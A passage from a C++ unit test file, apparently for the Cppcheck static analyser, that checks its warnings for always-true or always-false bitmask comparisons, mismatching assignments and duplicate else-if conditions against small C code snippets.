{\\n\"\n \" int y = x | 0x14;\\n\"\n \" if (y == 0x710);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:8]: (style) Mismatching assignment and comparison, comparison 'y==0x710' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" int y = x | 0x14;\\n\"\n \" if (y == 0x71f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // various simple assignments\n check(\"void foo(int x) {\\n\"\n \" int y = (x+1) | 1;\\n\"\n \" if (y == 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:8]: (style) Mismatching assignment and comparison, comparison 'y==2' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int y = 1 | x();\\n\"\n \" if (y == 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:8]: (style) Mismatching assignment and comparison, comparison 'y==2' is always false. [assignIfError]\\n\", errout_str());\n\n // multiple conditions\n check(\"void foo(int x) {\\n\"\n \" int y = x & 4;\\n\"\n \" if ((y == 3) && (z == 1));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) Mismatching assignment and comparison, comparison 'y==3' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" int y = x & 4;\\n\"\n \" if ((x==123) || ((y == 3) && (z == 1)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:22]: (style) Mismatching assignment and comparison, comparison 'y==3' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int y = x & 7;\\n\"\n \" if (setvalue(&y) && y != 8);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // recursive checking into scopes\n check(\"void f(int x) {\\n\"\n \" int y = x & 7;\\n\"\n \" if (z) y=0;\\n\"\n \" else { if (y==8); }\\n\" // always false\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:4:15]: (style) Mismatching assignment and comparison, comparison 'y==8' is always false. [assignIfError]\\n\", errout_str());\n\n // while\n check(\"void f(int x) {\\n\"\n \" int y = x & 7;\\n\"\n \" while (y==8);\\n\" // local variable => always false\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:11]: (style) Mismatching assignment and comparison, comparison 'y==8' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" extern int y; y = x & 7;\\n\"\n \" while (y==8);\\n\" // non-local variable => no error\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int a = 100;\\n\"\n \" while (x) {\\n\"\n \" int y = 16 | a;\\n\"\n \" while (y != 0) y--;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int x);\\n\"\n \"void f(int x) {\\n\"\n \" int a = 100;\\n\"\n \" while (x) {\\n\"\n \" int y = 16 | a;\\n\"\n \" while (y != 0) g(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:5:15] -> [test.cpp:6:15]: (style) Mismatching assignment and comparison, comparison 'y!=0' is always true. [assignIfError]\\n\",\n errout_str());\n\n check(\"void g(int &x);\\n\"\n \"void f(int x) {\\n\"\n \" int a = 100;\\n\"\n \" while (x) {\\n\"\n \" int y = 16 | a;\\n\"\n \" while (y != 0) g(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // calling function\n check(\"void f(int x) {\\n\"\n \" int y = x & 7;\\n\"\n \" do_something();\\n\"\n \" if (y==8);\\n\" // local variable => always false\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:4:8]: (style) Mismatching assignment and comparison, comparison 'y==8' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int y = x & 7;\\n\"\n \" do_something(&y);\\n\" // passing variable => no error\n \" if (y==8);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void do_something(int);\\n\"\n \"void f(int x) {\\n\"\n \" int y = x & 7;\\n\"\n \" do_something(y);\\n\"\n \" if (y==8);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:8]: (style) Mismatching assignment and comparison, comparison 'y==8' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" extern int y; y = x & 7;\\n\"\n \" do_something();\\n\"\n \" if (y==8);\\n\" // non-local variable => no error\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4434 : false positive: ?:\n check(\"void f(int x) {\\n\"\n \" x = x & 1;\\n\"\n \" x = x & 1 ? 1 : -1;\\n\"\n \" if(x != -1) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4735\n check(\"void f() {\\n\"\n \" int x = *(char*)&0x12345678;\\n\"\n \" if (x==18) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // bailout: no variable info\n check(\"void foo(int x) {\\n\"\n \" y = 2 | x;\\n\" // y not declared => no error\n \" if(y == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // bailout: negative number\n check(\"void foo(int x) {\\n\"\n \" int y = -2 | x;\\n\" // negative number => no error\n \" if (y==1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // bailout: pass variable to function\n check(\"void foo(int x) {\\n\"\n \" int y = 2 | x;\\n\"\n \" bar(&y);\\n\" // pass variable to function => no error\n \" if (y==1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // no crash on unary operator& (#5643)\n // #11610\n check(\"SdrObject* ApplyGraphicToObject() {\\n\"\n \" if (&rHitObject) {}\\n\"\n \" else if (rHitObject.IsClosedObj() && !&rHitObject) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Condition '&rHitObject' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:3:42]: (style) Condition '!&rHitObject' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // #5695: increment\n check(\"void f(int a0, int n) {\\n\"\n \" int c = a0 & 3;\\n\"\n \" for (int a = 0; a < n; a++) {\\n\"\n \" c++;\\n\"\n \" if (c == 4)\\n\"\n \" c = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) {\\n\" // #6662\n \" int x = a & 1;\\n\"\n \" while (x <= 4) {\\n\"\n \" if (x != 5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:8]: (style) Mismatching assignment and comparison, comparison 'x!=5' is always true. [assignIfError]\\n\", errout_str());\n\n check(\"void f(int a) {\\n\" // #6662\n \" int x = a & 1;\\n\"\n \" while ((x += 4) < 10) {\\n\"\n \" if (x != 5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x = 100;\\n\"\n \" while (x) {\\n\"\n \" g(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int x);\\n\"\n \"void f() {\\n\"\n \" int x = 100;\\n\"\n \" while (x) {\\n\"\n \" g(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (style) Condition 'x' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void g(int & x);\\n\"\n \"void f() {\\n\"\n \" int x = 100;\\n\"\n \" while (x) {\\n\"\n \" g(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void mismatchingBitAnd() {\n check(\"void f(int a) {\\n\"\n \" int b = a & 0xf0;\\n\"\n \" b &= 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:5]: (style) Mismatching bitmasks. Result is always 0 (X = Y & 0xf0; Z = X & 0x1; => Z=0). [mismatchingBitAnd]\\n\", errout_str());\n\n check(\"void f(int a) {\\n\"\n \" int b = a & 0xf0;\\n\"\n \" int c = b & 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) Mismatching bitmasks. Result is always 0 (X = Y & 0xf0; Z = X & 0x1; => Z=0). [mismatchingBitAnd]\\n\", errout_str());\n\n check(\"void f(int a) {\\n\"\n \" int b = a;\"\n \" switch (x) {\\n\"\n \" case 1: b &= 1; break;\\n\"\n \" case 2: b &= 2; break;\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparison() {\n // CheckCondition::comparison test cases\n // '=='\n check(\"void f(int a) {\\n assert( (a & 0x07) == 8U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X & 0x7) == 0x8' is always false. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & b & 4 & c ) == 3 );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Expression '(X & 0x4) == 0x3' is always false. [comparisonError]\\n\", errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x07) == 8U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X | 0x7) == 0x8' is always false. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & 0x07) == 7U );\\n}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x01) == -15 );\\n}\");\n ASSERT_EQUALS(\"\", errout_str());\n // '!='\n check(\"void f(int a) {\\n assert( (a & 0x07) != 8U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X & 0x7) != 0x8' is always true. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x07) != 8U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X | 0x7) != 0x8' is always true. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & 0x07) != 7U );\\n}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x07) != 7U );\\n}\");\n ASSERT_EQUALS(\"\", errout_str());\n // '>='\n check(\"void f(int a) {\\n assert( (a & 0x07) >= 8U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X & 0x7) >= 0x8' is always false. [comparisonError]\\n\",errout_str());\n check(\"void f(unsigned int a) {\\n assert( (a | 0x7) >= 7U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X | 0x7) >= 0x7' is always true. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & 0x07) >= 7U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x07) >= 8U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str()); //correct for negative 'a'\n // '>'\n check(\"void f(int a) {\\n assert( (a & 0x07) > 7U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X & 0x7) > 0x7' is always false. [comparisonError]\\n\",errout_str());\n check(\"void f(unsigned int a) {\\n assert( (a | 0x7) > 6U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X | 0x7) > 0x6' is always true. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & 0x07) > 6U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x07) > 7U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str()); //correct for negative 'a'\n // '<='\n check(\"void f(int a) {\\n assert( (a & 0x07) <= 7U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X & 0x7) <= 0x7' is always true. [comparisonError]\\n\",errout_str());\n check(\"void f(unsigned int a) {\\n assert( (a | 0x08) <= 7U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X | 0x8) <= 0x7' is always false. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & 0x07) <= 6U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x08) <= 7U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str()); //correct for negative 'a'\n // '<'\n check(\"void f(int a) {\\n assert( (a & 0x07) < 8U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X & 0x7) < 0x8' is always true. [comparisonError]\\n\",errout_str());\n check(\"void f(unsigned int a) {\\n assert( (a | 0x07) < 7U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X | 0x7) < 0x7' is always false. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & 0x07) < 3U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x07) < 7U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str()); //correct for negative 'a'\n\n check(\"void f(int i) {\\n\" // #11998\n \" if ((i & 0x100) == 0x200) {}\\n\"\n \" if (0x200 == (i & 0x100)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:15]: (style) The if condition is the same as the previous if condition [duplicateCondition]\\n\"\n \"[test.cpp:2:12]: (style) Expression '(X & 0x100) == 0x200' is always false. [comparisonError]\\n\"\n \"[test.cpp:3:21]: (style) Expression '(X & 0x100) == 0x200' is always false. [comparisonError]\\n\",\n errout_str());\n\n checkP(\"#define MACRO1 (0x0010)\\n\" // #13222\n \"#define MACRO2 (0x0020)\\n\"\n \"#define MACRO_ALL (MACRO1 | MACRO2)\\n\"\n \"void f() {\\n\"\n \" if (MACRO_ALL == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"void f(int i, int j) {\\n\" // #13360\n \" int X = 0x10;\\n\"\n \" if ((i & 0xff00) == X) {}\\n\"\n \" if (X == (j & 0xff00)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) Expression '(X & 0xff00) == 0x10' is always false. [comparisonError]\\n\"\n \"[test.cpp:4:17]: (style) Expression '(X & 0xff00) == 0x10' is always false. [comparisonError]\\n\",\n errout_str());\n }\n\n#define checkPureFunction(code) checkPureFunction_(code, __FILE__, __LINE__)\n void multicompare() {\n check(\"void foo(int x)\\n\"\n \"{\\n\"\n \" if (x & 7);\\n\"\n \" else { if (x == 1); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (style) Expression is always false because 'else if' condition matches previous condition at line 3. [multiCondition]\\n\", errout_str());\n\n check(\"void foo(int x)\\n\"\n \"{\\n\"\n \" if (x & 7);\\n\"\n \" else { if (x & 1); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (style) Expression is always false because 'else if' condition matches previous condition at line 3. [multiCondition]\\n\", errout_str());\n\n check(\"extern int bar() __attribute__((pure));\\n\"\n \"void foo(int x)\\n\"\n \"{\\n\"\n \" if ( bar() >1 && b) {}\\n\"\n \" else if (bar() >1 && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (style) Expression is always false because 'else if' condition matches previous condition at line 4. [multiCondition]\\n\", errout_str());\n\n checkPureFunction(\"extern int bar();\\n\"\n \"void foo(int x)\\n\"\n \"{\\n\"\n \" if ( bar() >1 && b) {}\\n\"\n \" else if (bar() >1 && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (style) Expression is always false because 'else if' condition matches previous condition at line 4. [multiCondition]\\n\", errout_str());\n\n // 7284\n check(\"void foo() {\\n\"\n \" if (a) {}\\n\"\n \" else if (!!a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n // #11059\n check(\"int f();\\n\"\n \"void g() {\\n\"\n \" int i = f();\\n\"\n \" if (i == 3) {}\\n\"\n \" else if ((i = f()) == 5) {}\\n\"\n \" else if (i == 3) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f();\\n\"\n \"void g() {\\n\"\n \" int i = f();\\n\"\n \" if (i == 3) {}\\n\"\n \" else if ((i = f()) == 5) {}\\n\"\n \" else if (i != 3) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n template\n void checkPureFunction_(const char (&code)[size], const char* file, int line) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n runChecks(tokenizer, this);\n }\n\n void overlappingElseIfCondition() {\n check(\"void f(int a, int &b) {\\n\"\n \" if (a) { b = 1; }\\n\"\n \" else { if (a) { b = 2; } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a) { b = 1; }\\n\"\n \" else { if (a) { b = 2; } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a == 1) { b = 1; }\\n\"\n \" else { if (a == 2) { b = 2; }\\n\"\n \" else { if (a == 1) { b = 3; } } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a == 1) { b = 1; }\\n\"\n \" else { if (a == 2) { b = 2; }\\n\"\n \" else { if (a == 2) { b = 3; } } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (style) Expression is always false because 'else if' condition matches previous condition at line 3. [multiCondition]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a++) { b = 1; }\\n\"\n \" else { if (a++) { b = 2; }\\n\"\n \" else { if (a++) { b = 3; } } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (!strtok(NULL, \\\" \\\")) { b = 1; }\\n\"\n \" else { if (!strtok(NULL, \\\" \\\")) { b = 2; } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n check(\"void f(Class &c) {\\n\"\n \" if (c.dostuff() == 3) {}\\n\"\n \" else { if (c.dostuff() == 3) {} }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const Class &c) {\\n\"\n \" if (c.dostuff() == 3) {}\\n\"\n \" else { if (c.dostuff() == 3) {} }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n }\n\n check(\"void f(int a, int &b) {\\n\"\n \" x = x / 2;\\n\"\n \" if (x < 100) { b = 1; }\\n\"\n \" else { x = x / 2; if (x < 100) { b = 2; } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int64_t i) {\\n\"\n \" if(i == 0x02e2000000 || i == 0xa0c6000000)\\n\"\n \" foo(i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket 3689 ( avoid false positive )\n check(\"int fitInt(long long int nValue){\\n\"\n \" if( nValue < 0x7fffffffLL )\\n\"\n \" {\\n\"\n \" return 32;\\n\"\n \" }\\n\"\n \" if( nValue < 0x7fffffffffffLL )\\n\"\n \" {\\n\"\n \" return 48;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" if( nValue < 0x7fffffffffffffffLL )\\n\"\n \" {\\n\"\n \" return 64;\\n\"\n \" } else\\n\"\n \" {\\n\"\n \" return -1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(WIDGET *widget) {\\n\"\n \" if (dynamic_cast(widget)){}\\n\"\n \" else if (dynamic_cast(widget)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class B { virtual void v() {} };\\n\" // #11037\n \"class D1 : public B {};\\n\"\n \"class D2 : public B {};\\n\"\n \"void f(const std::shared_ptr&p) {\\n\"\n \" const auto d1 = dynamic_cast(p.get());\\n\"\n \" const auto d2 = dynamic_cast(p.get());\\n\"\n \" if (d1) {}\\n\"\n \" else if (d2) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\" // #6482\n \" if (x & 1) {}\\n\"\n \" else if (x == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x & 15) {}\\n\"\n \" else if (x == 40) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == sizeof(double)) {}\\n\"\n \" else { if (x == sizeof(long double)) {} }\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x & 0x08) {}\\n\"\n \" else if (x & 0xF8) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x & 0xF8) {}\\n\"\n \" else if (x & 0x08) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b){}\\n\"\n \" else if( !!b && !!a){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b){}\\n\"\n \" else if( !!b && a){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b){}\\n\"\n \" else if( b && !!a){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b){}\\n\"\n \" else if( b && !(!a)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b){}\\n\"\n \" else if( !!b && !(!a)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b){}\\n\"\n \" else if( !!(b) && !!(a+b)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8168\n check(\"enum MaskValues\\n\"\n \"{\\n\"\n \" Value1 = 0x00000001,\\n\"\n \" Value2 = 0x00000002\\n\"\n \"};\\n\"\n \"void TestFunction(int value) {\\n\"\n \" if ( value & (int)Value1 ) {}\\n\"\n \" else if ( value & (int)Value2 ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(size_t x) {\\n\"\n \" if (x == sizeof(int)) {}\\n\"\n \" else { if (x == sizeof(long))} {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(size_t x) {\\n\"\n \" if (x == sizeof(long)) {}\\n\"\n \" else { if (x == sizeof(long long))} {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeElseIfCondition() {\n setMultiline();\n\n check(\"void f(int x) {\\n\"\n \" if (x) {}\\n\"\n \" else if (!x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: style: Expression is always true because 'else if' condition is opposite to previous condition at line 2. [multiCondition]\\n\"\n \"[test.cpp:2:9]: note: first condition\\n\"\n \"[test.cpp:3:14]: note: else if condition is opposite to first condition\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int y = x;\\n\"\n \" if (x) {}\\n\"\n \" else if (!y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: style: Expression is always true because 'else if' condition is opposite to previous condition at line 3. [multiCondition]\\n\"\n \"[test.cpp:2:13]: note: 'y' is assigned value 'x' here.\\n\"\n \"[test.cpp:3:9]: note: first condition\\n\"\n \"[test.cpp:4:14]: note: else if condition is opposite to first condition\\n\", errout_str());\n }\n\n void checkBadBitmaskCheck() {\n check(\"bool f(int x) {\\n\"\n \" bool b = x | 0x02;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" bool b = 0x02 | x;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"int f(int x) {\\n\"\n \" int b = x | 0x02;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" bool b = x & 0x02;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" if(x | 0x02)\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" int y = 0x1;\\n\"\n \" if(b) y = 0;\\n\"\n \" if(x | y)\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" foo(a && (x | 0x02));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"int f(int x) {\\n\"\n \" return (x | 0x02) ? 0 : 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"int f(int x) {\\n\"\n \" return x ? (x | 0x02) : 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" return x | 0x02;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" if (x) {\\n\"\n \" return x | 0x02;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"const bool f(int x) {\\n\"\n \" return x | 0x02;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"struct F {\\n\"\n \" static const bool f(int x) {\\n\"\n \" return x | 0x02;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"struct F {\\n\"\n \" typedef bool b_t;\\n\"\n \"};\\n\"\n \"F::b_t f(int x) {\\n\"\n \" return x | 0x02;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"int f(int x) {\\n\"\n \" return x | 0x02;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void create_rop_masks_4( rop_mask_bits *bits) {\\n\"\n \"DWORD mask_offset;\\n\"\n \"BYTE *and_bits = bits->and;\\n\"\n \"rop_mask 